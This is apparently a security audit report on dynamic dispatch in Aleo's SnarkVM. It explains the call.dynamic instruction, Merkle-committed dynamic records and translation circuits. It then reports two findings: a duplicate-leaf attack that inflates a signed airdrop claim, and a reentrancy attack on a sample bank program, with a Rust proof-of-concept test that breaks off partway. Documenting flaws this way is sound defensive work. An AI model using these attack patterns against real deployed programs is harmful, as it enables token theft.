# Aleo Dynamic Dispatch

- **Client**: Aleo
- **Date**: November 19th, 2025
- **Tags**: General

## Introduction & Dynamic Dispatch

Within the current SnarkVM design, all calls from Aleo programs are fixed: they must call a fixed function in a fixed program, with arguments and return types of a fixed concrete type. This means that the callgraph of any function can be determined at deployment time;
either deployment of the program itself or (after the recent upgradability changes) the deployment of new versions of its dependencies.

With the introduction of "dynamic dispatch" or "dynamic calls", Aleo programs are now allowed to make data/logic dependent function calls:
a `call.dynamic` instruction takes:

- A program ID (a register)
- A function ID (a register)
- A set of inputs (registers with operands)
- A set of outputs (registers to assign results to)

Which results in a call to the function. 
From the callee this looks like any regular `call` instruction, 
meaning `call.dynamic` is *forward compatible with existing Aleo programs*.

This feature by itself would have made dynamic dispatch a fairly small change:
essentially a duplicate of the existing call instruction + publicly exposing the function id of the callee from the caller.
Such a limited implementation would still have potentially interesting consequences,
for instance: reentrancy becomes a concern, since previously any recursive call would have had infinite depth and hence be implicitly disallowed.

However, such a limited implementation would also have had very limited utility 
because of the Aleo type system and the way it interacts with records:
the most important data type in Aleo is the record,
it allows Aleo to maintain private state across transactions.
They are commitments to a set of "fields" owned by a user
and are a "resource" (in the "affine typesystem sense") meaning that feeding a record to a function consumes the record and it cannot be used in future calls.
A record belongs to a specific program which monopolizes the construction/destruction of the record type:
if any record could be created by any program that would make them entirely useless as a way to pass private authenticated state from one call to another.

The result of this is that *every record in every program is a unique type*.
This would make `call.dynamic` instructions taking record types of very limited utility:
the dynamic dispatch would only be possible to the program which has the record definition.
This means that, for instance, it would not be possible to create an application which operates on a general token type:
for instance Decentralized Exchanges (DEXs) are hard to implement, 
as you would need to explicitly multiplex on every supported token type:
the DEX program would depend on the listed token (record) types.

To address this, the design introduces *dynamic records*: a weakly typed, polymorphic record representation.

The remainder of this report first describes the `call.dynamic` instruction format,
then details the dynamic record type that enables polymorphism over records,
and finally explains how type translation bridges static and dynamic types at call boundaries.

## Dynamic Dispatch Instruction

Dynamic dispatch allows programs and functions to be invoked with identifiers that are determined at runtime via the `call.dynamic` instruction.
This capability enables advanced control flows such as conditional execution, recursion, and flexible cross-program interactions.

### Instructions

A dynamic call follows the instruction format below:

```
call.dynamic <PROG> <NET> <FUN> with <INS> (as <IN_TYPS>) into <OUTS> (as <OUT_TYPS>);
```

where:

- `<PROG>`: a `Field` element representing the program name.
- `<NET>`: a `Field` element representing the network name.
- `<FUN>`: a `Field` element representing the function name.
- `<INS>`: the input operands.
- `<IN_TYPS>`: the input operand types and associated visibility.
- `<OUTS>`: the destination registers.
- `<OUT_TYPS>`: the destination register types and associated visibility.

In addition to the format above, dynamic calls impose explicit constraints on the admissible data types for inputs and outputs:

- Inputs **must not** be of type `Record`, `ExternalRecord`, `Future`, or `DynamicFuture`.
- Outputs **must not** be of type `Record`, `ExternalRecord`, or `Future`.

Consider the following example:

```
call.dynamic 'credits' 'aleo' 'transfer_public'
    with r0 r1 r2
    (as credits.aleo/credits.record address.public u64.public)
    into r3 r4
    (as record.dynamic future.dynamic);
```

In this example, the dynamic call invokes the `credits.aleo/transfer_public` function with three inputs taken from registers `r0`, `r1`, and `r2`. These inputs are typed as `credits.aleo/credits.record` (an `ExternalRecord`), `address.public`, and `u64.public`, respectively. The call produces two outputs, which are written into registers `r3` and `r4` with types `record.dynamic` and `future.dynamic`, respectively.

## Dynamic Records

The solution is "dynamic records", which is a weakly typed version of the existing external records.
An external record is simply the way to access the fields of a record type defined in another program:
the external record has the same fields as the record, 
but is only "authenticated" whenever it is fed to the program which consumes this record type: 
the "external" record becomes a record at that call boundary, which is then consumed.

The new dynamic records differ from the original external records in that
they are a (variable size) "bag" of (key, value) pairs, instead of a struct:
similar to `map[string]interface{}` compared to `struct{}`.
Since dynamic records may have a different number of fields, 
yet must be represented in-circuit -- meaning it must have a constant-size representation.
This is achieved by computing a *Merkle tree commitment over the key-value pairs* and injecting the root into the circuit.

This allows:

- All dynamic records to have a constant-size in-circuit representation.
- Fields of dynamic records to be accessed from circuits; the tree has a fixed depth.

The latter requires that the Merkle tree is honestly computed. This is achieved by proving the computation of the root of the tree in-SNARK.
Concretely a dynamic record consists of:

- **owner**: the (claimed) owner of the corresponding record.
- **root**: the Merkle root of the record data.
- **nonce**: the (claimed) nonce of the corresponding record.
- **version**: the (claimed) version of the corresponding record.

Observe that dynamic records provide the same (lack) of guarantees as regular external records:
namely that the fields of a dynamic record are not guaranteed to be correct, 
except when the program knows that the dynamic / external record is translated (more on that) to a record.
Furthermore, observe that at the runtime even the dynamic record *value* is not tied to a specific record *type*, e.g. it is possible to upcast a record of type A into a dynamic record, then downcast this dynamic record to a record of type B.

### Record Field Merkleization

Concretely, the `root` is the Merkle tree root of a binary Merkle tree with max depth of 5; support up to 32 entries.
If the number of levels required is less than 5, the depth is padded by creating parents whose right child is a dummy.
This is possible because at the point of casting, the concrete record type is known:
meaning we know exactly how many fields we expect.
Having a fixed depth tree is crucial as it allows a fixed circuit to operate on different dynamic records with varying numbers of leaves.

#### Leaf Hash

Each leaf corresponds to one record field, and is hashed as:
$$
\mathsf{leaf}_i = \mathsf{Poseidon8}(\mathsf{entry\_name} \ |\!| \ \mathsf{ToFields}(\mathsf{entry\_data}))
$$
Using the `DynamicRecordLeafHasher` constant as domain separator.

#### Path Hash

Each parent is formed as the hash of its left/right children:
$$
\mathsf{parent} = \mathsf{Poseidon2}(\mathsf{left\_child} \ |\!| \ \mathsf{right\_child})
$$ 
Using the `DynamicRecordPathHasher` constant as domain separator.

#### Example

For example, consider the following record:

```js
Record {
    owner: aleo1d5hg...33ddah.private,
    amount: 100u64.private,
    token_id: 5field.private,
    _nonce: 0group.public,
    _version: 1u8.public
  }
```

To convert it into dynamic record, 
the fields will be merkleized as visualized below:

![Merkle Visualization](img/merkle_visual.svg)

Which then results in the following dynamic record:

```js
Record {
    owner: aleo1d5hg...33ddah.private,
    root: ...field.public,
    _nonce: 0group.public,
    _version: 1u8.public
}
```

### Dynamic Record Identifier

Similar to the static `ExternalRecord`, 
when traversing a call boundary (each call corresponding to SNARK) a dynamic record is produced/consumed/bound via a hiding commitment to the record:
a published identifier derived from the record's state and the "transaction view key" ($\mathsf{tvk}$):

$$
\mathsf{id} = \mathsf{Poseidon8}\bigl(\mathsf{function\_id} \parallel R_d \parallel \mathsf{tvk} \parallel \mathsf{index}\bigr)
$$

Where: 

- $\mathsf{function\_id}$ is the function ID of the callee
- $R_d$ is the serialization of the in-circuit dynamic record as field elements: $\mathsf{owner} \parallel \mathsf{root} \parallel \mathsf{nonce} \parallel \mathsf{version}$.
- $\mathsf{tvk}$ is the transition view key which produces/consumes the dynamic record
- $\mathsf{index}$ is the index of the input operand or output destination that contains the dynamic record.

### Dynamic Futures

Within the SnarkVM, a future represents a call to an out-of-circuit `finalize` function:
an effect (or state assertion) to be applied beyond creating / consuming records.
In practice this is simply a function identifier (to call),
along with a set of arguments to invoke this function with;
this is passed around as a commitment, with the preimage of the commitment provided by the function producing the future:
the verifier then computes the id out-of-circuit.
Program are also allowed to inspect futures which have been produced, e.g. a caller might inspect the contents of a future returned by a callee to check that some arguments match expected values.

Support for accessing the arguments of dynamic future, similar to dynamic records,
was planned, but skipped for this update.
As such, they currently serve solely to "pass through" an effect / check returned by a callee without having to supply a specific type.

## Type Classes & Translation

Each transition (i.e., function execution) in Aleo includes a *request authorization*, where the program caller signs the transition request using a Schnorr signature derived from their account keys. This mechanism ensures that every transition is executed by the intended and authorized caller, and that the authorization is cryptographically bound to the transition's public context. This authorization flow is essentially the same as its static counterpart:
from the callee's perspective a dynamic call is indistinguishable from a static call.
From the caller's perspective, when e.g. invoking a dynamic call with a dynamic record, an input ID for a dynamic record is computed and exported from the SNARK.
To bridge the gap between the change in behavior from the caller (the new dynamic record input ID) and the forward compatibility of the callee,
we need to "translate" the input/output IDs between the static and dynamic versions.

To enable forward compatibility, dynamic types can be implicitly translated:
a caller can provide a dynamic record when the callee expects a record of a certain type.
Let's briefly outline which translations are possible and then delve into the mechanics of how soundness/privacy of this translation is achieved cryptographically.

### Input Type Translation

The following table shows which caller input/argument types can be translated to which callee argument types in `call.dynamic`. A ✓ indicates that the call/conversion is allowed (with translation if noted), and ✗ indicates not allowed.

<table border="1" cellpadding="3" cellspacing="0" style="border-collapse: collapse; text-align: center; font-size: 11px;">
    <tr>
        <td rowspan="6" style="writing-mode: vertical-lr; font-weight: bold; padding: 15px 3px; font-size: 11px; white-space: nowrap; border: 1px solid #000; text-align: center;">Input/Argument Type (Caller)</td>
        <td colspan="5" style="font-weight: bold; width: 100%; text-align: center; height: 25px; border: 1px solid #000; font-size: 11px;">Input/Argument Type (Callee)</td>
    </tr>
    <tr>
        <td style="border: 1px solid #000;"></td>
        <th style="font-size: 11px;"><code>Primitive</code></th>
        <th style="font-size: 11px;"><code>record</code></th>
        <th style="font-size: 11px;"><code>ExternalRecord</code></th>
        <th style="font-size: 11px;"><code>record.dynamic</code></th>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>Primitive</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>record</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>ExternalRecord</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>record.dynamic</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓*</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓*</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
    </tr>
</table>

<p style="font-size: 17px;">* Requires translation</p>

### Output Type Translation

Like for the inputs, the return/output values from a call can also be translated. Note that only a subset of the return values may be translated.
The following table shows which callee output types can be returned to which caller output types in `call.dynamic`:

<table border="1" cellpadding="3" cellspacing="0" style="border-collapse: collapse; text-align: center; font-size: 11px;">
    <tr>
        <td rowspan="8" style="writing-mode: vertical-lr; font-weight: bold; padding: 15px 3px; font-size: 11px; white-space: nowrap; border: 1px solid #000; text-align: center;">Output/Return Type (Callee)</td>
        <td colspan="7" style="font-weight: bold; width: 100%; text-align: center; height: 25px; border: 1px solid #000; font-size: 11px;">Output/Return Type (Caller)</td>
    </tr>
    <tr>
        <td style="border: 1px solid #000;"></td>
        <th style="font-size: 11px;"><code>Primitive</code></th>
        <th style="font-size: 11px;"><code>record</code></th>
        <th style="font-size: 11px;"><code>ExternalRecord</code></th>
        <th style="font-size: 11px;"><code>record.dynamic</code></th>
        <th style="font-size: 11px;"><code>future</code></th>
        <th style="font-size: 11px;"><code>future.dynamic</code></th>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>Primitive</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>record</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓*</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>ExternalRecord</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓*</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>record.dynamic</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>future</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
    </tr>
    <tr>
        <td style="font-size: 11px;"><strong><code>future.dynamic</code></strong></td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✗</td>
        <td style="vertical-align: middle; text-align: center; padding: 3px; font-size: 13px;">✓</td>
    </tr>
</table>

<p style="font-size: 17px;">* Requires translation</p>

### Record Translation Circuit

Because we need to "glue" together functions operating on concrete records ("static records")
and the record typeclass ("dynamic records"), we need a way to cryptographically translate between the two, e.g.
converting a commitment to a static record into a commitment to a dynamic record.
This is implemented by a `Translation` circuit, which takes two commitments to objects of different types and enforces "correct translation". It implements
the following set of translations:

- $\mathsf{StaticSerialNumber} \leftrightarrow \mathsf{DynamicRecord}$:
  A newly spent record is converted to a dynamic record (input case).
- $\mathsf{StaticCommitment} \leftrightarrow \mathsf{DynamicRecord}$:
  A newly created record is converted to a dynamic record (output case).
- $\mathsf{ExternalRecord} \leftrightarrow \mathsf{DynamicRecord}$:
  An external record is converted to a dynamic record.

Note that the translation circuit is parameterized by the static record type:
there is one such translation circuit for each static record type in the system.
The translation behavior is controlled by two boolean flags (public inputs):

- `is_input`: Determines the direction of translation:
  - `true`: Dynamic → Static (input case, uses serial number)
  - `false`: Static → Dynamic (output case, uses commitment)

- `static_is_external`: Determines whether the static record is an ExternalRecord:
  - `true`: Uses ExternalRecord ID computation (HashPSD8)
  - `false`: Uses standard record ID computation (commitment or serial number)
  
The pseudocode for the translation circuit is as follows:

```rust
fn to_circuit_assignment_internal<RecordType, PROGRAM_ID, RECORD_NAME>(
    is_input: bool,              // true if input (dynamic->static), false if output (static->dynamic)
    static_is_external: bool,    // true if static record is ExternalRecord
    function_id: FunctionId,     // function ID of the callee
    translation_index: u16,      // index of this translation within the current batch
    input_output_index: u16,     // index of the input/output
    id_static: Field,            // public ID of static record
    id_dynamic: Field,           // public ID of dynamic record
) {
    // Private witness inputs for the circuit
    tvk: Field = private()
    gamma: Group = private()
    record_static: RecordType = private()
    record_dynamic: DynamicRecord = private()
    record_view_key: Field = private()

    // Compute static record commitment
    static_commitment = record_static.to_commitment(
        PROGRAM_ID,
        RECORD_NAME,
        record_view_key
    )

    // Compute static record serial number
    static_serial_number = compute_serial_number_from_gamma(
        gamma,
        static_commitment
    )

    // Compute ID for non-external static records
    id_static_non_external = if is_input {
        static_serial_number  // Input: use serial number
    } else {
        static_commitment     // Output: use commitment
    }

    // Compute ID for external static records
    id_static_external = HashPSD8(
        function_id,
        record_static.to_fields(),
        tvk,
        input_output_index
    )

    // Select appropriate ID computation based on external flag
    actual_id_static = if static_is_external {
        id_static_external
    } else {
        id_static_non_external
    }

    // Compute dynamic record ID
    actual_id_dynamic = record_dynamic.to_id(
        function_id,
        tvk,
        input_output_index
    )

    // Build Merkle tree over static record fields
    circuit_leaves = []
    for identifier, entry in record_static.data:
        leaf = [identifier.to_field()]
        leaf.extend(entry.to_fields())
        circuit_leaves.append(leaf)

    leaf_hasher = setup_hasher("DynamicRecordLeafHasher")
    path_hasher = setup_hasher("DynamicRecordPathHasher")
    circuit_tree = RecordMerkleTree(leaf_hasher, path_hasher, circuit_leaves)

    // Verify consistency between static and dynamic records
    assert_eq!(record_static.owner, record_dynamic.owner);
    assert_eq!(record_static.nonce, record_dynamic.nonce);
    assert_eq!(record_static.version, record_dynamic.version);
    assert_eq!(circuit_tree.root(), record_dynamic.root);
    assert_eq!(actual_id_static, id_static);
    assert_eq!(actual_id_dynamic, id_dynamic);
}
```

Pictorially the circuit looks as follows:

![Record Translation Circuit](img/translation.svg)

## Findings

### Inconsistent Reads from Untranslated and Uncast Dynamic Records

- **Severity**: Medium
- **Location**: SnarkVM

**Description**. Dynamic records exhibit unexpected behavior when they are not cast or translated from/to external/static records. Specifically, the *well-formedness of the underlying Merkle tree is never verified* in this case.

## Merkle Tree Structure

Dynamic records store their data as a Merkle tree. Each leaf is computed as:

```
leaf = Poseidon8(entry_identifier || entry.to_fields())
```

The tree is built using Poseidon2 as the path hasher, padding with empty hashes to reach the full depth.
During translation/casting, the computation of the tree is proved:
every field of the corresponding static/external record is converted to a leaf and the tree is computed in-circuit.

## Vulnerability

When `get.record.dynamic` is executed, the circuit:

1. Computes the leaf hash from the claimed entry value.
2. Verifies a Merkle path from the leaf to the record's root using prover-supplied siblings.
3. Asserts the path terminates at the stored root.

Critically, if the dynamic record is never translated or cast, the well-formedness of the Merkle tree is never checked. 
In particular, the prover can construct a tree with duplicate entries for the *same identifier at different leaf positions*:

1. Create multiple leaves with the same identifier but different values: `L1 = Poseidon8("level" || 10u8)` at position 0, `L2 = Poseidon8("level" || 255u8)` at position 1
2. Build the Merkle tree and compute root `R` from these leaves
3. For each `get.record.dynamic` call, provide the Merkle path to whichever leaf contains the desired value

Since each read only verifies that *some* leaf with the requested identifier exists in the tree, two reads of the same entry can return different values by pointing to different leaves.

## Concrete Example: Signature Mauling Attack

The following, slightly contrived, token airdrop program is vulnerable.
A trusted issuer signs vouchers specifying how many tokens each recipient 
can claim and the nonce ensures each voucher can only be used once.
The issue is that the values read by the `verify_claim` closure from the dynamic record,
may be completely unrelated to the values read from the dynamic record inside the `claim` parent:

```rust
program airdrop.aleo;

record token:
    owner as address.private;
    amount as u64.private;

mapping used_nonces:
    key as field.public;
    value as boolean.public;

// Helper: verify issuer signature
closure verify_claim:
    input r0 as record.dynamic;
    input r1 as address;  // trusted issuer

    // Read claim amount and signature
    get.record.dynamic r0.amount into r2 as u64;
    get.record.dynamic r0.sig into r3 as signature;

    // Verify issuer signed this voucher
    cast r2 r0.nonce into r4 as [field; 2u32];
    sign.verify r3 r1 r4 into r5;
    assert.eq r5 true;

    output r0 as record.dynamic;

// Claim tokens using an issuer-signed voucher
function claim:
    input r0 as record.dynamic;
    input r1 as address.public;  // trusted issuer

    // Verify the voucher is valid
    call verify_claim r0 r1 into r2;

    // Read amount to mint tokens for the claimant
    get.record.dynamic r2.amount into r3 as u64;

    // Mint tokens to the voucher owner
    cast r0.owner r3 into r4 as token.record;

    async claim r0.nonce into r5;
    output r4 as token.record;
    output r5 as airdrop.aleo/claim.future;

finalize claim:
    input r0 as field.public;  // nonce

    // Check and mark nonce as used (replay protection)
    contains used_nonces[r0] into r1;
    assert.eq r1 false;
    set true into used_nonces[r0];
```

This allows a malicious prover to provide a legitimately signed voucher to claim far more tokens:

1. Obtain a valid voucher signed by the issuer for `amount = 100u64` tokens
2. Construct a Merkle tree with duplicate `amount` entries at different positions:
    - Position 0: `Poseidon8("amount" || 100u64)` (the signed amount)
    - Position 1: `Poseidon8("amount" || 1000000u64)` (the inflated claim)
    - Position 2: `Poseidon8("sig" || <issuer_signature>)`
3. Compute the root `R` from this malformed tree
4. During proof generation:
    For the first `amount` read (signature verification) provide the Merkle path to position 0 (value `100u64`).
    For the second `amount` read (token minting) provide the Merkle path to position 1 (value `1000000u64`).

The signature verification passes (issuer signed `amount = 100`), but `1000000` tokens are minted.

**Impact**. The primary risk is in the "repeated read" pattern: a helper function checks that certain fields satisfy conditions, and a caller then uses those "same" fields assuming the conditions hold. Since each read can return a different value, the caller's assumptions about validated data are violated.

Programs that rely on reading the same dynamic record entry multiple times (either within the same function or across function calls) without translation or casting may be vulnerable to provers substituting arbitrary values at each read site.

Similar discussions have been had earlier about the similar (though less severe) 
behavior of external records not bound to local record: they could similarly contain unauthenticated data.
Observe that this type of behavior is also affected by the recent introduction of program upgrades and the introduction of dynamic dispatch:
previously a program developer could manually verify, at deployment time, that the external record was bound to a local record.
However, now this requires reasoning about every possible callchain that can be achieved through dynamic dispatch or by upgrading programs.

**Recommendation**. Document clearly that reads from untranslated and uncast dynamic records should not be trusted and that the same field read multiple times may return different values. Alternatively, the compiler/runtime can disallow "dangling" dynamic records: ensuring that a dynamic record can only be defined at a translation/cast point. Observe that this latter part requires a runtime check: to ensure that this is invariant holds across dynamic calls.

### Dynamic Dispatch Enables Reentrancy

- **Severity**: Low
- **Location**: SnarkVM

**Description**. 
Reentrancy is the ability of a contract/program to inadvertently call itself during execution. 
This can lead to unexpected behavior and potential security vulnerabilities:
for instance, a vulnerable program might:

- Check that a user has sufficient funds for a withdrawal.
- Then make a function call.
- Then apply the effect of the withdrawal.

Problems arise if the function call might result in invoking the vulnerable program itself.
The problem is that existing Aleo programs may not have been written with this in mind as reentrancy was previously not possible: 
any attempt to create a possibly reentrant program would result in a callgraph of infinite size.

## Example of Reentrancy Vulnerability

To demonstrate the possible consequences of reentrancy, consider the following Aleo program
which implements a simple bank with a deposit and withdrawal function:

```rust
program bank.aleo;

mapping balances:
    key as address.public;
    value as u64.public;

record token:
    owner as address.private;
    amount as u64.private;

function deposit:
    input r0 as u64.public;
    async deposit self.caller r0 into r1;
    output r1 as bank.aleo/deposit.future;

finalize deposit:
    input r0 as address.public;
    input r1 as u64.public;
    get.or_use balances[r0] 0u64 into r2;
    add r2 r1 into r3;
    set r3 into balances[r0];

function withdraw:
    input r0 as address.public;
    input r1 as u64.public;
    input r2 as field.public;
    input r3 as field.public;
    cast r0 r1 into r4 as token.record;
    call callback_handler.aleo/execute_callback r2 r3 r0 r1 into r5;
    async withdraw r0 r1 r5 into r6;
    output r4 as token.record;
    output r6 as bank.aleo/withdraw.future;

finalize withdraw:
    input r0 as address.public;
    input r1 as u64.public;
    input r2 as callback_handler.aleo/execute_callback.future;
    get balances[r0] into r3;
    gte r3 r1 into r4;
    assert.eq r4 true;
    await r2;
    sub r3 r1 into r5;
    set r5 into balances[r0];

constructor:
    assert.eq true true;
```

The "problematic pattern" which would lead to a reentrancy vulnerability is:

1. The balance is checked.
2. Then function a future is awaited.
3. Then the balance is updated.

Now imagine that the implementation of `callback_handler.aleo/execute_callback` changes.
Note that the security of the application has, so far, not depended on any features of `callback_handler.aleo/execute_callback`.
It gets updated to:

```rust
program callback_handler.aleo;

function execute_callback:
    input r0 as field.public;
    input r1 as field.public;
    input r2 as address.public;
    input r3 as u64.public;
    call.dynamic r0 {aleo_field} r1 with r2 r3 (as address.public u64.public) into r4 (as future.dynamic);
    async execute_callback r4 into r5;
    output r5 as callback_handler.aleo/execute_callback.future;

finalize execute_callback:
    input r0 as future.dynamic;
    await r0;

function no_op:
    input r0 as address.public;
    input r1 as u64.public;
    async no_op into r2;
    output r2 as callback_handler.aleo/no_op.future;

finalize no_op:
    assert.eq true true;

function reentrant_withdraw:
    input r0 as address.public;
    input r1 as u64.public;
    call.dynamic {bank_field} {aleo_field} {withdraw_field} with r0 r1 {callback_handler_field} {no_op_field} (as address.public u64.public field.public field.public) into r2 r3 (as record.dynamic future.dynamic);
    async reentrant_withdraw r3 into r4;
    output r4 as callback_handler.aleo/reentrant_withdraw.future;

finalize reentrant_withdraw:
    input r0 as future.dynamic;
    await r0;

constructor:
    assert.eq true true;
```

With this new version, the original contract becomes vulnerable to reentrancy.
An attacker who has deposited 100 tokens calls `bank.aleo/withdraw` with `amount = 60`,
passing `callback_handler` and `reentrant_withdraw` as the callback parameters (`r2`, `r3`).

The full attack call sequence is illustrated below:

![Reentrancy Attack Call Sequence](img/reentrancy_attack.svg)

During in-SNARK execution, `bank.aleo/withdraw` mints 60 tokens and invokes the attacker-controlled callback, which uses `call.dynamic` to dispatch to `reentrant_withdraw`. This function re-enters `bank.aleo/withdraw` a second time, minting another 60 tokens. The second callback dispatches to the harmless `no_op`, terminating the recursion. At this point, two token records totaling 120 tokens have been created.

During finalization, the check-call-update pattern causes a stale-read:
the outer `withdraw` finalize reads `balances[attacker] = 100` into a local register `r3`, then awaits the callback future. This triggers the inner `withdraw` finalize, which also reads the balance (still 100), passes its own check, and sets `balances[attacker] = 40`. When the outer finalize resumes, it uses the *stale* `r3 = 100`, computes `100 - 60 = 40`, and overwrites the balance with 40 again. The attacker ends up holding 120 tokens in records while only 60 were debited from their balance.

## Proof of Concept

```rust
use super::*;

#[test]
fn test_reentrancy_mapping_vulnerability() {
    // Initialize an RNG.
    let rng = &mut TestRng::default();

    // Initialize a new caller.
    let caller_private_key = crate::vm::test_helpers::sample_genesis_private_key(rng);
    let caller_address = Address::try_from(&caller_private_key).unwrap();

    // Initialize the VM at the V14 height (required for dynamic dispatch).
    let v14_height = CurrentNetwork::CONSENSUS_HEIGHT(ConsensusVersion::V14).unwrap();
    let vm = crate::vm::test_helpers::sample_vm_at_height(v14_height, rng);

    // Prepare identifier fields for dynamic calls.
    let bank_name = Identifier::<CurrentNetwork>::from_str("bank").unwrap();
    let bank_field = bank_name.to_field().unwrap();

    let callback_handler_name = Identifier::<CurrentNetwork>::from_str("callback_handler").unwrap();
    let callback_handler_field = callback_handler_name.to_field().unwrap();

    let aleo_name = Identifier::<CurrentNetwork>::from_str("aleo").unwrap();
    let aleo_field = aleo_name.to_field().unwrap();

    let withdraw_name = Identifier::<CurrentNetwork>::from_str("withdraw").unwrap();
    let withdraw_field = withdraw_name.to_field().unwrap();

    let no_op_name = Identifier::<CurrentNetwork>::from_str("no_op").unwrap();
    let no_op_field = no_op_name.to_field().unwrap();

    let reentrant_withdraw_name = Identifier::<CurrentNetwork>::from_str("reentrant_withdraw").unwrap();
    let reentrant_withdraw_field = reentrant_withdraw_name.to_field().unwrap();

    // Define callback_handler.aleo program (must be deployed first since bank imports it).
    let callback_handler_program_str = format!(
        r"
program callback_handler.aleo;

function execute_callback:
    input r0 as field.public;
    input r1 as field.public;
    input r2 as address.public;
    input r3 as u64.public;
    call.dynamic r0 {aleo_field} r1 with r2 r3 (as address.public u64.public) into r4 (as future.dynamic);
    async execute_callback r4 into r5;
    output r5 as callback_handler.aleo/execute_callback.future;

finalize execute_callback:
    input r0 as future.dynamic;
    await r0;

function no_op:
    input r0 as address.public;
    input r1 as u64.public;
    async no_op into r2;
    output r2 as callback_handler.aleo/no_op.future;

finalize no_op:
    assert.eq true true;

function reentrant_withdraw:
    input r0 as address.public;
    input r1 as u64.public;
    call.dynamic {bank_field} {aleo_field} {withdraw_field} with r0 r1 {callback_handler_field} {no_op_field} (as address.public u64.public field.public field.public) into r2 r3 (as record.dynamic future.dynamic);
    async reentrant_withdraw r3 into r4;
    output r4 as callback_handler.aleo/reentrant_withdraw.future;

finalize reentrant_withdraw:
    input r0 as future.dynamic;
    await r0;

constructor:
    assert.eq true true;
"
    );

    // Define bank.aleo program.
    let bank_program_str = r"import callback_handler.aleo;

program bank.aleo;

mapping balances:
    key as address.public;
    value as u64.public;

record token:
    owner as address.private;
    amount as u64.private;

function deposit:
    input r0 as u64.public;
    async deposit self.caller r0 into r1;
    output r1 as bank.aleo/deposit.future;

finalize deposit:
    input r0 as address.public;
    input r1 as u64.public;
    get.or_use balances[r0] 0u64 into r2;
    add r2 r1 into r3;
    set r3 into balances[r0];

function withdraw:
    input r0 as address.public;
    input r1 as u64.public;
    input r2 as field.public;
    input r3 as field.public;
